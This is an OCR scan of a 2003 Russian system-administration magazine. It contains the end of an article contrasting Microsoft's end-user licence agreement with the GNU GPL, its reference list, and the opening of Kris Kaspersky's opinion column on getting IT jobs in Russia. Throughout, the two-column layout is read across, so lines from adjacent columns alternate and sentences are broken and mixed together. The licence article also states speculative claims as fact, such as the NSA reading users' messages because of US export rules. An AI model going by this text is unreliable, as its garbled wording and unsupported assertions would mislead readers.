ния при несоблюдении вами его положений и условий. В ветствующего программного обеспечения на вашу рабо-
этом случае вы обязаны уничтожить все имеющиеся у вас чую станцию».
копии продукта и всех его составных частей». В общем, вы проверили компьютер, далее начали ра-
Если вы мелко ошиблись и нарушили, то вас могут ботать, подключились к Интернету, у вас проверили вер-
заставить больше не пользоваться продуктом. Не очень сию и залили вам без вашего ведома вредоносный софт
ясно, что в этом случае в теории делать – покупать новый либо полезный софт с закладками в виде случайных оши-
и с ним уже не наступать на грабли повторно? бок или ещё как-то. Даже если у вас ничего нет секретно-
Microsoft: «Разрешение на использование данных. Вы го, то в случае выделенного подключения к Интернету с
соглашаетесь с тем, что корпорация Майкрософт и её аф- оплатой трафика вы будете платить деньги. Вы к этому
филированные лица вправе собирать и использовать тех- готовы, что вам придётся скачать на лишнюю сотню мет-
нические сведения, полученные любым способом в ходе ров обновлений? Причём обновляться они могут по не-
вашего обращения за услугами по технической поддерж- скольку раз на дню. Как вам такая финансовая ситуация?
ке, если таковые предоставляются, по поводу продукта». Трояны и хакеры отдыхают.
Они заберут у вас технические сведения, однако что Microsoft: «Исправления системы безопасности».
под этим понимать, очень сложно сказать. По этой фор- Этот пункт для меня вообще остался серым лесом. Я
мулировке они могут даже серийный номер из процессо- так и не понял его нужность конечному пользователю.
ра считать, и где тогда анонимность? Microsoft: «Экспортные ограничения. Вы признаёте,
Microsoft: «Корпорация Майкрософт вправе исполь- что данный продукт произведен в США и попадает под
зовать эти сведения исключительно для совершенство- действие установленных в США экспортных ограниче-
вания своих продуктов или для предоставления вам спе- ний».
циальных услуг и технологий». Это вам грозит тем, что у вас будет более слабая крип-
Что за специальные услуги и технологии – не ясно. Или тография и АНБ США будет слушать вас и читать ваши
на более быстром компьютере будет иметься возможность сообщения при желании. Для игр это не важно, а вот бан-
удалённого более быстрого форматирования винчестера? киры и сотрудники государственных учреждений должны
Microsoft: «Корпорация Майкрософт вправе предос- задуматься над этим пунктом.
тавлять эти сведения третьим лицам в форме, не раскры- Microsoft: «Отказ от предоставления гарантий. Упо-
вающей вас лично». мянутая ниже ограниченная гарантия является единствен-
Они дадут две не раскрывающие вас выборки, из ной предоставляемой вам явной гарантией, заменяющей
пересечения которых вас вычислят, и никто ничего не любые другие явные гарантии (если таковые имелись),
нарушит. приведенные в какой-либо документации, на упаковке или
Microsoft: «Игры и средства обновления в Интернете. предоставленные иным образом. За исключением дан-
Обязательным условием использования в продукте игро- ной ограниченной гарантии и в наибольшей степени, раз-
вых возможностей и средств обновления в Интернете яв- решенной применимым законодательством, корпорация

№9(10), сентябрь 2003 83


образование
Майкрософт и её поставщики предоставляют продукт и А здесь мы видим, что если кто-то умер по вине опе-
(если таковые предоставляются) услуги по технической рационной системы, то никто отвечать за это не будет,
поддержке на условиях «как есть», со всеми неисправно- даже всё прописными буквами выделили, на случай если
стями, и отказываются от предоставления каких-либо пользователь не заметит этот важный пункт. См. [9], где
других явных, подразумеваемых или предусмотренных за- Александр Слуцкий говорит: «И сейчас подобные компь-
конодательством гарантий и условий, включая (но не ог- ютеры везде. Вон последняя 745-я серия машин «БМВ».
раничиваясь только ими) отказ от подразумеваемой га- Это первая машина, которая не имеет ни одной физичес-
рантии, обязательств или условий пригодности для про- кой связи водителя с механизмом. Всё управляется че-
дажи и применимости для определенной цели, надежно- рез электронику. ... Управляется машина под операцион-
сти или доступности, точности или полноты ответов или ной системой «Виндоус СЕ», установленной в бортовом
результатов работы, гарантии высокого качества испол- компьютере». У вас упал сервер – это ваши проблемы.
нения, отсутствия вирусов, отсутствия небрежности при Надо было раньше думать, какую операционную систему
изготовлении продукта, а также предоставления или не- и какой фирмы использовать.
предоставления технической поддержки или иных услуг, Microsoft: «Ограничение ответственности и разме-
сведений, программного обеспечения и содержимого в ра возмещения ущерба. Независимо от характера и
результате или в связи с использованием продукта. Кро- причин причиненного вам ущерба или понесенных убыт-
ме того, по отношению к данному продукту не обуславли- ков (включая все без исключения перечисленные выше
ваются и не предоставляются гарантии права собствен- случаи ущерба и/или убытков, а также любые прямые
ности, спокойного владения и пользования, соответствия или общие ущерб и/или убытки), максимальный размер
описанию или ненарушения прав на интеллектуальную ответственности корпорации Майкрософт или любого
собственность». ее поставщика по любому из положений настоящего ли-
В общем, ни за что они не отвечают, и «как есть» – цензионного соглашения, и размер причитающейся вам
единственная форма поставки со всеми неисправностя- компенсации (за исключением компенсации в виде ре-
ми. То есть из этой формулировки следует, что неисправ- монта или замены продукта, предоставляемой по вы-
ности заведомо есть. То есть через некоторое время ждите бору корпорацией Майкрософт в связи с нарушением
новых версий и обновлений. Что-то и за деньги. Вы про- ограниченной гарантии) не может превысить большей
сто вчитайтесь и вдумайтесь. Даже документация может из следующих сумм: суммы, фактически уплаченной
описывать другие продукты или скрывать недокументи- вами при приобретении продукта, или суммы в разме-
рованные функции. ре пяти долларов США».
Microsoft: «Исключение случайного, косвенного и Конечно, они не могут отдуваться за весь мир, они,
иных определенных видов ущерба. В наибольшей сте- так и быть, могут забрать продукт у вас, вернув немного
пени, допускаемой применимым законодательством, ни денег, или пожертвовать вам суммой в размере пяти дол-
при каких обстоятельствах корпорация майкрософт и её ларов США.
поставщики не несут ответственности за какой-либо осо- Теперь давайте посмотрим на GNU GENERAL PUBLIC
бый или случайный ущерб, штрафные убытки, косвен- LICENSE.
ный или опосредованный ущерб или убытки (включая, Вы можете делиться программой с друзьями.
но не ограничиваясь только перечисленным, упущенную GNU: «Лицензиат вправе изготовлять и распростра-
выгоду, утрату конфиденциальной или иной информа- нять экземпляры исходного текста Программы в том виде,
ции, убытки, вызванные перерывами в коммерческой или в каком он его получил, без внесения в него изменений
производственной деятельности, нанесение ущерба здо- на любом носителе, при соблюдении следующих условий:
ровью, нарушение неприкосновенности частной жизни, на каждом экземпляре помещён знак охраны авторского
неисполнение любого обязательства, включая обяза- права и уведомление об отсутствии гарантий; оставлены
тельство действовать добросовестно и с разумной ос- без изменений все уведомления, относящиеся к настоя-
мотрительностью, убытки, вызванные небрежностью, щей Лицензии и отсутствию гарантий; вместе с экземп-
любой иной ущерб и прочие убытки имущественного или ляром Программы приобретателю передаётся копия на-
иного характера), возникающие в связи с использова- стоящей Лицензии».
нием или невозможностью использования продукта, или Вы можете получать деньги за копирование и зараба-
предоставлением или непредоставлением услуг по под- тывать деньги на том, что будете обслуживать чужие про-
держке или иных услуг, сведений, программного обес- граммы.
печения и содержимого в результате или в связи с ис- GNU: «Лицензиат вправе взимать плату за передачу
пользованием продукта, или в иных случаях, предусмот- экземпляра Программы, а также вправе за плату оказы-
ренных или связанных с положениями данного лицензи- вать услуги по гарантийной поддержке Программы».
онного соглашения, даже в случае вины, гражданского Вы можете изменять продукт и продавать его в изме-
правонарушения (включая небрежность), строгой ответ- нённом виде при соблюдении условий лицензии в том
ственности, нарушения корпорацией майкрософт или её пункте, чтобы ваши ошибки не приписывали к тому про-
поставщиками договорных или гарантийных обяза- дукту, что был до внесения вами изменений. Это защи-
тельств, даже если корпорация майкрософт или её по- та от того, чтобы вы не ухудшали качество продукта или
ставщики были заранее извещены о возможности тако- если и ухудшили, то страдала бы от этого только ваша
го ущерба». репутация.

84
образование
К любому продукту должен быть исходный код. есть», однако это не мешает вам написать автору про-
GNU: «Например, если вы распространяете экземпля- дукта и попросить у него помощи. Также это не мешает
ры такого программного обеспечения за плату или бес- создавать форумы, где можно обсуждать те или иные про-
платно, вы обязаны передать новым обладателям все блемы продуктов, и также вы можете пользоваться услу-
права в том же объёме, в каком они принадлежат вам. гами третьих лиц, которые безвозмездно или за плату
Вы обязаны обеспечить получение новыми обладателя- предложили вам помочь.
ми программы её исходного текста или возможность его В конце можно заключить, что наиболее выгодной яв-
получить. Вы также обязаны ознакомить их с условиями ляется лицензия GNU GENERAL PUBLIC LICENSE, так как
настоящей Лицензии». она предоставляет больше прав программистам, не ог-
GNU: «Под исходным текстом произведения понима- раничивает их в своих правах. Она также не ограничива-
ется такая форма произведения, которая наиболее удоб- ет людей, далёких от программирования и не лишает их
на для внесения изменений». возможности получения помощи. Также никому не запре-
Как вам такая формулировка против ограничения на щается осуществлять помощь и гарантийное обслужива-
декомпиляцию и так не очень понятных человеку машин- ние чужих продуктов. Подобно тому, как вы можете чи-
ных кодов? нить свой автомобиль в любом понравившемся вам сер-
GNU: «В случае если произведение в виде объект- висе или помогать в починке другим. Вы можете раскру-
ного кода или в исполняемой форме распространяется тить свой автомобиль по гаечкам и заглянуть к нему под
путем предоставления доступа для копирования его из капот, и это даёт обязательная возможность получения
определённого места, обеспечение равноценного дос- вами исходных текстов бесплатно или за разумную пла-
тупа для копирования исходного текста из этого же ту, необходимую для доставки.
места удовлетворяет требованиям распространения ис- Вы можете вносить изменения в продукты и никто не
ходного текста, даже если третьи лица при этом не обя- будет с вас спрашивать, на каком компьютере вы его за-
заны копировать исходный текст вместе с объектным пускаете. Вас не будут просить передавать какие-либо
кодом произведения». сведения кому-либо. Вас не могут явно заставить прекра-
Если вы не программист или не хотите изменить чего- тить использовать какой-то продукт, если вы что-то нару-
то в программе, то вас не обязывают скачивать исходный шили. Вас никто не заставит покупать много копий или
код и не обязывают его получать. Это как соль на столе, много лицензий. Вы можете установить приобретённый
когда вы можете посолить по вкусу сами, а не когда за вами или бесплатно переписанный экземпляр какой-то
вас это делает повар. программы или операционной системы где угодно и сколь-
GNU: «Каждой версии присваивается свой собствен- ко угодно раз. Вас никто не будет ограничивать в количе-
ный номер. Если указано, что Программа распростра- стве подключений к вашему серверу. Вы можете делать
няется в соответствии с определённой версией, т.е. ука- всё что угодно с программными продуктами. Программ-
зан её номер, или любой более поздней версией насто- ные продукты предоставляются вам в удобной для изме-
ящей Лицензии, лицензиат вправе присоединиться к нения форме. Всё сделано людьми для людей.
любой из этих версий Лицензии, опубликованных Free Массовый переход на использование продуктов с от-
Software Foundation. Если Программа не содержит та- крытым кодом значительно упростил бы жизнь. И увере-
кого указания на номер версии Лицензии лицензиат ния Miscrosoft, что некому будет адаптировать программ-
вправе присоединиться к любой из версий Лицензии, ные продукты для конкретных нужд какой-нибудь органи-
опубликованных когда-либо Free Software Foundation зации, сильно схожи с завышенным самомнением.
(http://www.fsf.org)». Очень смущает на фоне всего этого заключение со-
С версиями и модификациями тоже внесена ясность. глашения между бывшим ФАПСИ и Microsoft, которые ре-
GNU: «Отсутствие гарантийных обязательств. По- шили предоставить на просмотр исходный код через спе-
скольку настоящая программа распространяется бесплат- цифический редактор, якобы улучшающий возможности
но, гарантии на неё не предоставляются в той степени, в просматривающего. [8] (А может, и скрывающий куски
какой это допускается применимым правом. Настоящая кода?) Да и зачем ехать в штабквартиру для просмотра
программа поставляется на условиях «как есть». Если особых кусков кода? Не проще ли остановить свой выбор
иное не указано в письменной форме, автор и/или иной на продуктах под GPL, где исходный код уже сразу от-
правообладатель не принимает на себя никаких гаран- крыт и нет смысла носить воду в решете.
тийных обязательств, как явно выраженных, так и подра- Привычка людей – это большой подводный камень и,
зумеваемых, в отношении программы, в том числе под- пожалуй, единственная вещь, которая заставляет людей
разумеваемую гарантию товарного состояния при прода- делать неправильный выбор. Наиболее уместна в завер-
же и пригодности для использования в конкретных целях, шение будет пословица «Кто платит, тот и заказывает
а также любые иные гарантии. Все риски, связанные с музыку», и здравого смысла в этом нет и не может быть,
качеством и производительностью программы, несет ли- пока нас с вами окружают материалисты, целью которых
цензиат. В случае если в программе будут обнаружены стоит личностное обогащение за счёт других. «Возьми от
недостатки, все расходы, связанные с техническим об- жизни всё!», так и просится дописать: «Не можешь взять
служиванием, ремонтом или исправлением программы, умом – отбери у соседа силой». Разве что сосед тоже не
несет лицензиат». дремлет и отнимет первым.
Тут мы тоже видим, что продукт поставляется «как

№9(10), сентябрь 2003 85


образование
Литература: 10. «This Chip Will Explode in 5 Seconds»: Imagining the Uses
THE NEW YORK TIMES February 14, 2002 By IAN
1. Николо Макиавелли. Государь. – М.:ЭКСМО-Пресс; AUSTEN, http://physicalsciences.ucsd.edu/news_articles/
Харьков: Фолио, 1998. missionimpossible.htm
2. Марк Митчел, Джеффри Оулдем, Алекс Самьюэл. Про- 11. «Телефон-граната» //Ломоносов вместе с NewScientist,
граммирование для Linux. Профессиональный подход.: №3, сентябрь 2002 г. – С.17.
Пер.с англ. – М.: Издательский дом «Вильямс», 2002. 12. The Open Source Definition http://www.opensource.org/
3. GNU’s Not Unix! – the GNU Project and the Free Software docs/definition_plain.html
Foundation (FSF): http://www.gnu.org/. Текст лицензии: 13. Соглашение OpenSource//Джек Такет(мл.), Стив Бар-
http://www.gnu.org/copyleft/gpl.html нет Использование Linux. Специальное издание.:5-е
4. Неофициальный перевод Елены Тяпкиной на русский изд.:Пер. с англ.: Уч.пос. - М.: Издательский дом «Ви-
язык GENERAL PUBLIC LICENSE GNU: http:// льямс», 2000 г. – С.765-767.
linux.yaroslavl.ru/docs/about/license/gplrus.html 14. Руководящий документ Гостехкомиссии при президен-
5. Перевод Сергея Середы на русский язык GENERAL те РФ «Средства вычислительной техники. Межсете-
PUBLIC LICENSE GNU: http://consumer.nm.ru/gpl_ru.htm вые экраны. Защита от несанкционированного досту-
6. Примеры лицензионных соглашений Microsoft с конеч- па к информации. Показатели защищенности от не-
ным пользователем (EULA): http://www.microsoft.com/ санкционированного доступа к информации». http://
rus/licensing/general/examples/ aker.alpha.ru/Certif/RD_FW.html
7. Лицензионное соглашение Microsoft Windows XP Home 15. Руководящий документ Гостехкомиссии при президен-
Edition: http://www.microsoft.com/rus/licensing/general/ те РФ «Автоматизированные системы. Защита от не-
examples/winxphome_box.asp санкционированного доступа к информации. Класси-
8. State Applauds Open Windows by Larisa Naumenko//The фикация автоматизированных систем и требования по
Moscow Times No.2602 Wendesday, January 22, 2003, защите информации». http://www.security.lanit.ru/lib/
p.9. rd1.html
9. Дмитрий Аксёнов. Киберкоп, или Конец виртуального 16. Department Of Defense Trusted Computer System Evaluation
мира//Системный администратор №1(2) январь 2003 г. – Criteria(«Orange book»), December, 1985. http://
С. 57. www.radium.ncsc.mil/tpep/library/rainbow/5200.28-STD.html

86
IMHO

РЕЦЕПТЫ ПРАВИЛЬНОГО
ТРУДОУСТРОЙСТВА «Не нужно плыть по течению. Не нужно плыть против
течения. Нужно плыть ттууда, куда тебе надо»
куда
Козьма Пру
Козьма тк
Прутков
тков

Относительно рынка труда в России


существует два мнения: пациент скорее жив,
чем мертв, и пациент скорее мертв, чем жив.
Лично я считаю, что в сфере информационных
технологий реализовать свой потенциал
в России намного проще, чем во всех
остальных странах мира вместе взятых.
Недостаток квалифицированной рабочей
силы у нас просто колоссальный,
и трудоустроиться в этой обстановке очень
легко. Правда, в отличие от западных стран
цивилизованного рынка труда в России
как не было, так и нет, и потому механизмы
трудоустройства, которые хорошо работают
«там», у нас вращаются со скрипом или
не вращаются вообще. И, если вам до чертиков
надоело заполнять эти шаблонные резюме
и вы хотите попробовать другие, более
действенные методы, эта статья для вас!

КРИС КАСПЕРСКИ
88
iMHO
Ваши действия Итак, задача-минимум: найти фирму, где волею судь-
по трудоустройству по шагам бы в данный конкретный момент собрались очень не-
Большинство статей, посвященных трудоустройству, на- глупые люди, и устроиться туда на любую диктуемую ра-
чинаются с рекомендаций по правильному заполнению ботодателем зарплату, а то и вовсе бесплатно (это не
резюме и хитростям их размещения на сайтах типа шутка! Лучше бесплатно получать образование на фир-
www.all-jobs.ru. Так вот: все это чушь собачья и слепое ме, чем платить деньги за протирание штанов в универ-
следование американскому шаблонному образцу. Так вы ситете! Сам автор когда-то так и поступал). Только по-
ничего не найдете, а если и найдете, то лишь благодаря мните, что профессию не получают, а воруют! Здесь пе-
его величеству Счастливому Случаю. Резюме – это пас- дагогов нет и лекции читать никто не будет. Держите все
сивный способ трудоустройства, и от вас тут действи- шесть органов своих чувств широко открытыми и все-
тельно очень мало что зависит. Вот активный способ – сторонне анализируйте каждую ситуацию, почему у ва-
это другое дело! ших старших товарищей что-то получается, а у вас нет.
Прежде всего уясните себе одну очень простую Причем не пытайтесь вести записи вида «если из про-
вещь. Гарантированное трудоустройство обеспечива- цессора 248AE идет дым, необходимо подтянуть терми-
ется либо за счет связей, либо за счет ваших профес- натор 63-98 к верхнему сигнальному уровню». Подоб-
сиональных навыков. Ситуацию со связями мы рассмат- ная информация очень быстро устаревает, и к тому же
ривать не будем, т.к. тут и без нас все предельно ясно, суть профессионализма заключается отнюдь не в сум-
а вот на профессиональных навыках остановимся по- ме знаний, а в умении при неполноте этих самых знаний
подробнее. быстро найти наиболее перспективное направление, в
котором надо «копать».
Ингредиент номер один: опыт Практика показывает, что любой наугад взятый кол-
Большинство молодых людей, устраивающихся на рабо- лектив умных людей не может существовать бесконеч-
ту, имеют крайне оптимистичное представление об уров- но долго и очень быстро распадается (почему – не знаю,
не своей подготовки и перечисляют длинный список опе- но наблюдаемый факт), так что очень может статься,
рационных систем и программных пакетов, с которыми что ни одного такого коллектива в пределах вашей до-
они как бы умеют работать. И чем длиннее такой список, сягаемости просто не окажется. И что тогда? Тогда –
тем меньше шансов у его обладателя на скорое трудоус- отправляйтесь в ближайший торговый салон и заклю-
тройство. Людей, совмещающих блестящие знания баз чайте с ними долгосрочный договор на взятие той или
данных с умением проектировать интерфейсы и отлажи- иной аппаратуры напрокат (естественно, за деньги и с
вать драйвера, единицы, и работодатели об этом прекрас- предоплатой). Большинство продавцов на это идет с
но знают. Подавляющее большинство специалистов уме- радостью, а вы получаете в свое распоряжение боль-
ют делать что-то одно, но зато они делают это хорошо. шое количество разношерстного железа. Зачем это
«Специалисты» же, претендующие на обширные и глубо- нужно? А затем, что без опыта работы с оборудовани-
кие знания в различных областях, в подавляющем боль- ем вы никогда не станете настоящим специалистом.
шинстве случаев не представляют для нанимателей аб- Чем больше оборудования пройдет через ваши руки, -
солютно никакого интереса. Скажите, а вы бы купили те- тем больше у вас накопится опыта по устранению со-
левизор, совмещенный с холодильником и шагающим эк- путствующих ему проблем и в конце концов разовьет-
скаватором? ся настоящий нюх на неисправности. То же самое ка-
Выберите какое-то одно конкретное направление, сается и программистов (как прикладных, так и систем-
близкое вам по духу и по теме. Скажем, системный про- ных). Компьютерное железо очень различно, и всякая
граммист может быть по своей натуре человеком нелю- конфигурация имеет свои особенности. Программа,
димым и необщительным, поскольку природа системных заточенная под одно оборудование, на другом может
компонентов такова, что они могут создаваться и в оди- просто не пойти, и все это вы должны заранее знать!
ночку. Прикладной программист уметь работать в коллек- Если же денег на приобретение оборудования у вас
тиве обязан по определению, а системный администра- нет, устраивайтесь в торговую фирму хотя бы простым
тор – это, в первую очередь, не столько хороший специа- сторожем, но с правом доступа к железу.
лист, сколько первоклассный хозяйственник. Из литературы вам потребуется… да, пожалуй, не
Теперь вы должны приложить максимум усилий к потребуется ровным счетом ничего, кроме учебника ан-
тому, чтобы освоить свою специальность до полного не- глийского языка и миллионов страниц документации,
понимания. Да-да, именно непонимания, ибо в позна- которую можно свободно скачать из Интернета и рас-
нии есть как минимум три стадии: знаю мало-помалу, печатать. Учебники в стиле «Язык Си++ для начинаю-
знаю все и ничего не знаю. Достижение третьей ста- щих» приносят намного больше вреда, чем пользы и
дии и есть свидетельство того, что вы кое в чем начи- зачастую необратимо калечат мышление новичков.
наете разбираться. Важно понять: профессиональные Приучайтесь осваивать продукт по его родной докумен-
навыки не могут быть приобретены ни дома, ни в уни- тации, а не по ее исковерканным описаниям сторонни-
верситете. Лишь на реальной работе, в окружении ре- ми авторами. Да, знаю, это трудно и на первых порах
альных специалистов и в процессе решения реальных языковой барьер будет очень мешать (ведь вся доку-
проблем постигаются азы любых высокотехнологичес- ментация сплошь на английском), но другого пути у вас
ких профессий. просто нет. Профессионал не может позволить себе

№9(10), сентябрь 2003 89


IMHO
впасть в зависимость от наличия корректных русских Цзи Синцзы тренировал бойцового петуха для чжоус-
переводов. Но не пытайтесь уподобить документацию кого царя Сюаньвана. Через десять дней [царь] спросил:
догмату – ее ведь люди пишут, и ошибок там… Ничего – Готов ли петух к бою?
не принимайте на веру и все, абсолютно все проверяй- – Еще нет. Пока самонадеян, попусту кичится.
те экспериментально. Разумеется, это не означает, что Через десять дней [царь] снова задал [тот же] вопрос.
все, не являющееся документацией, недостойно ваше- – Пока нет. Еще бросается на [каждую] тень, отклика-
го внимания. Напротив! Читайте все, что только под- ется на [каждый] звук.
вернется вам под руку (особенно ту литературу, что Через десять дней [царь] снова задал [тот же] вопрос.
описывает личный опыт ее автора), активно участвуй- – Пока нет. Взгляд еще полон ненависти, сила бьет че-
те в сетевых конференциях (опять-таки ничего не при- рез край.
нимая на веру без предварительной проверки), будьте Через десять дней [царь] снова задал [тот же] вопрос.
жадными до информации, как бурундук до желудей. – Почти [готов]. Не встревожится, пусть даже услышит
Информация – штука такая, никогда нельзя сказать на- [другого] петуха. Взгляни на него – будто вырезан из дере-
перед: понадобится вам она или нет. ва. Полнота его свойств совершенна. На его вызов не по-
смеет откликнуться ни один петух – повернется и сбежит.
Ингредиент номер два: авторитет
Хорошо, необходимый опыт у вас уже имеется. Теперь Существует такое мнение: что сначала человек ра-
остается добиться того, чтобы об этом узнали все окру- ботает на авторитет, а затем авторитет работает на че-
жающие. То есть, говоря другими словами, вам нужно ловека. Отчасти это действительно так, однако отсюда
приобрести авторитет. Самое главное – не начать дей- вовсе не следует, что однажды заработав хороший ав-
ствовать раньше времени. Первый блин, который, как торитет, можно до конца жизни уже ничего не делать.
известно, всегда идет комом, может сослужить плохую В сфере информационных технологий все очень быст-
службу, и у окружающих сложится значительно худшее ро меняется и старые заслуги здесь быстро списывают
мнение о вас, чем оно сложилось бы, начни вы заявлять о в утиль.
себе чуточку позже.
Заявлять о себе можно различными путями. Если вы Ингредиент номер три:
программист – напишите несколько хороших программ, чувство собственного достоинства
вложив в них весь свой опыт и душу, и выложите их в Как говорит народная мудрость, любой начальник имеет
открытый доступ в Интернет вместе с исходными текста- над тобой ровно столько власти, столько ты ему даешь
ми в придачу, так как даже беглый взгляд на последние властвовать над собой. В идеале начальник – это ваш то-
позволяет надежно установить приблизительный уровень варищ и полноправный партнер, и его власть чисто ус-
вашего профессионализма. Будет просто замечательно, ловна. Он имеет право уволить вас или понизить вам зар-
если эти программы дойдут по вашего потенциального плату, а вы имеете право сказать вслух все, что вы о нем
работодателя своим естественным путем и он окажется думаете, и отправиться восвояси к другому месту рабо-
от них в полном восторге. Считайте, что после этого вы- ты. Соответственно начальник не имеет права держать
сокооплачиваемое рабочее место у вас уже в кармане. вас на работе против вашей собственной воли, а вы не
Системному администратору наглядно продемонстри- имеете права работать на ней, если были уволены. Так
ровать свои таланты намного труднее, однако если эти что ваши шансы абсолютно равны. Вы как два гребца,
таланты действительно есть, попробуйте написать не- сидящих в одной лодке. Если не будет вас (не в смысле
сколько статей в различные компьютерные журналы, рас- вас лично, а всего рабочего персонала), то начальник сам
крывающие секреты вашего профессионального мастер- по себе далеко не уплывет.
ства. С высокой степенью вероятности вас заметят и пред- Почему начальники бывают злые? Да потому, что
ложат работу, если, конечно, вы не сделаете приписки к мы готовы работать и у злых начальников. Если вас это
статье с пометкой «готов рассмотреть предложения о ра- лично не устраивает – не позволяйте ему срывать свою
боте». Наниматели склонны считать, что настоящие про- злость на вас. Держитесь независимо и с достоинством.
фессионалы без работы не сидят и, похоже, что они очень За дело фирмы – болейте. На амбиции начальника –
даже правы. начихать. Умный начальник это сразу поймет и осла-
В сетевых конференциях не кидайтесь в атаку, стре- бит давление. Глупый… глупый, конечно, немедленно
мясь продемонстрировать свои знания за счет уличения уволит, ну да не велика потеря. В конечном счете если
ваших собеседников в невежестве. Во-первых, еще не- вы не будете себя уважать, то начальник уважать вас
известно, чья возьмет (с точки зрения внешнего наблю- уж точно не станет.
дателя, не разбирающегося в технических деталях спо- Однако ни в коем случае не пытайтесь чем-либо уг-
ра, ошибочные аргументы вашего оппонента зачастую рожать или шантажировать начальника и, уж тем бо-
выглядят более убедительными, нежели бесспорные ис- лее категорически недопустимо внедрять деструктив-
тины, высказанные вами). Во-вторых, настоящие про- ные компоненты в систему или так или иначе вреди-
фессионалы в таких склоках практически никогда не тельствовать!
участвуют: нет времени, да и необходимости переубеж- Забавное наблюдение из жизни автора: тех начальни-
дать заблудших тоже нет. Позвольте одну маленькую ков, что он считал хорошими начальниками, большинство
китайскую притчу: окружающих зачастую считало крайне агрессивными и

90
iMHO
деспотичными, и, соответственно, наоборот. Отсюда мо- Другой немаловажный критерий: отношение руковод-
раль: личность начальника – это чистейшей воды абст- ства к своим сотрудникам. Не секрет, что во многих фир-
ракция. Результат взаимоотношений между двумя людь- мах отношение к людям поистине скотское: начальство
ми в равной степени зависит от них обоих. постоянно треплет нервы, беспричинно объявляет выго-
воры, загружает работой сверх всяких норм и при этом
Стратегия действий считает, что персонал им чем-то еще и обязан. В других
в ситуации «выбираете вы» же фирмах, напротив, начальник – чуть ли не отец род-
В выборе работы и знакомстве с девушкой есть много ной и атмосфера в коллективе мягкая и спокойная. Никто
общего. Основной неудачей неопытных любовников яв- никого не пытается «подсидеть» или «обойти» в карьер-
ляется то, что, получив категоричный отказ, они автома- ной гонке на выживание. Иной специалист, нарвавшись
тически переключаются на другого партнера, и так про- на плохую фирму, начинает считать, что сейчас все фир-
исходит до тех пор, пока им не «повезет». Только везение мы такие. Вовсе нет! Ищите то, что вам нужно, и вы это
это довольно относительное (отсюда и кавычки). Дама найдете! Интернет-знакомства в этом помогают до чрез-
сердца, ответившая первому встречному «да», навряд ли вычайности, просто заведите более или менее личную
окажется хорошей спутницей жизни, и уж точно не самой переписку с некоторыми симпатичными лично вам сотруд-
лучшей, какую мог наш кавалер завоевать, будь он не- никами различных фирм – как ведущими специалистами,
много понастойчивее. так и простыми рабочими. Сразу же станет ясно что к чему
Куда бы вы ни стремились устроится: хоть в Микро- и что та или иная фирма собой представляет.
софт, хоть в Вася Пупкин и К, вы устроитесь туда, если Итак, фирма выбрана. Друзья в ней у вас уже имеют-
будете действовать по плану! Впрочем, Микрософт, по- ся. Ваша квалификация им отлично известна (ну не бол-
любому это не лучший выбор (см. врезку «Корпорации тали же вы все это время о погоде? Наверняка ведь об-
и крупные компании»), а Васи Пупкины – они очень раз- суждали те или иные технические проблемы и не исклю-
ные бывают. Поэтому, выбирая будущее место своей чено, что оказывали фирме довольно ценные услуги). И
работы, прежде всего к нему присмотритесь. Сделав что вы думаете, они еще и не принять вас могут?!
ставку на молодую фирму, вы можете сорвать большой
куш, т.к. такие фирмы обычно испытывают большие про- Стратегия действий в ситуации
блемы с персоналом и потому могут сразу же предло- «выбирают вас»
жить чрезвычайно соблазнительные условия, однако Собственно говоря, у любого нормального специалиста
если фирма через год-два рухнет, вы останетесь прак- проблема в трудоустройстве только одна: найти веский
тически ни с чем и весь процесс придется начинать сна- повод для отказа очередному нанимателю, ухитрившись
чала (впрочем, приобретенный опыт с вами все-таки при этом его не обидеть (а обижать нельзя, мало ли, вдруг
останется). Фирмы, существующие на рынке несколько с ним еще сотрудничать придется).
лет (а то и десятилетий) также не гарант стабильности, Просто занимайтесь своим любимым делом: ковыряй-
и прежде чем туда соваться, вы должны в меру своих тесь в железе, пишите программки «для души», изучайте
сил и возможностей изучить перспективы долгосрочно- сетевые протоколы, общайтесь по Интернету, и вы сами
го развития фирмы. Посмотрите: не расширялась ли не заметите, как предложения о работе посыпятся одно за
фирма до размеров амбиций своего директора в тот другим. Выбирайте! И не стесняйтесь диктовать свои ус-
период, когда ей следовало бы бросить все силы на вы- ловия нанимателям. Ведь это они пришли к вам, это они
живание? Соответствует ли зарплата сотрудников дохо- нуждаются в вас, так что никакие компромиссы тут неуме-
ду? Многие фирмы в плане привлечения специалистов стны. Зачем соглашаться на заведомо плохую работу, если
увеличивают им зарплату до той степени, что работа завтра наверняка появится еще более хорошая? Только не
специалистов перестает быть доходной и тогда зарпла- переоцените свои возможности и свою значимость в гла-
та вновь возвращается в нормальное русло (в результа- зах нанимателя и – упаси Боже – не заразитесь звездной
те чего все специалисты просто разбегаются), либо же болезнью, уверовав в то, что вы крутой специалист, кото-
фирма просто разлетается по швам. рый все знает и которому все нипочем.

Несколько советов, Вот только дорвусь до лопаты!). Напротив, будь сдержан (вот
как вести себя на собеседовании осмотрюсь, вольюсь в струю коллектива, а там… если до
Первое и главное. Не бойся показаться дураком, бойся той поры вы меня не уволите… мы и посмотрим).
показаться умным. Умный человек часто становится уг- Четвертое (вытекающее из третьего). Не ходи в чужой
розой для его непосредственного начальника, и от таких монастырь со своим уставом. Не пытайся убеждать фир-
заблаговременно пытаются избавляться. му, что они делают что-то не так, и что ты мог бы сделать
Второе. Не интересуйся зарплатой. Не интересуйся это лучше.
условиями труда. Интересуйся работой. Это вызывает Пятое (диаметрально расходящееся с четвертым).
уважение работодателя и значительно увеличивает твои Если у тебя есть свои идеи и ты видишь, что кое-что здесь
шансы на успех. А зарплата… не понравится – уйдешь. можно было бы и улучшить, не пытайся загонять инициа-
Третье. Не обещай работодателю того, что ты все равно тиву внутрь. Дай ей свободу. Может быть, конкретно в этом
не собираешься делать, и вообще поменьше всего обещай, месте тебе и откажут, но рано или поздно ты найдешь
не строй никаких планов (Да я тут вам! Да я горы сверну! именно ту работу, которую тебе нужно.

№9(10), сентябрь 2003 91


IMHO
Шестое. Если тебя спросят то, чего ты не знаешь, говори шиваться даже Сам Главный. Корпоративный кодекс (если
правду «не знаю» и не думай, что ты подписываешь этими он вообще есть) обычно распространяется на «мальчиков»
словами свой смертный приговор. В конце концов работо- и «девочек», специально нанятых для демонстрации «лица
датель и не надеется найти специалиста, который бы все фирмы». Специалисты (особенно хорошие) находятся в до-
знал (такой специалист далеко не каждому по карману). вольно независимых условиях и могут жить в собственном
Седьмое. Постарайся поставить работодателя в не- стиле (только голых баб на стенку не надо, ок?). Атмосфера
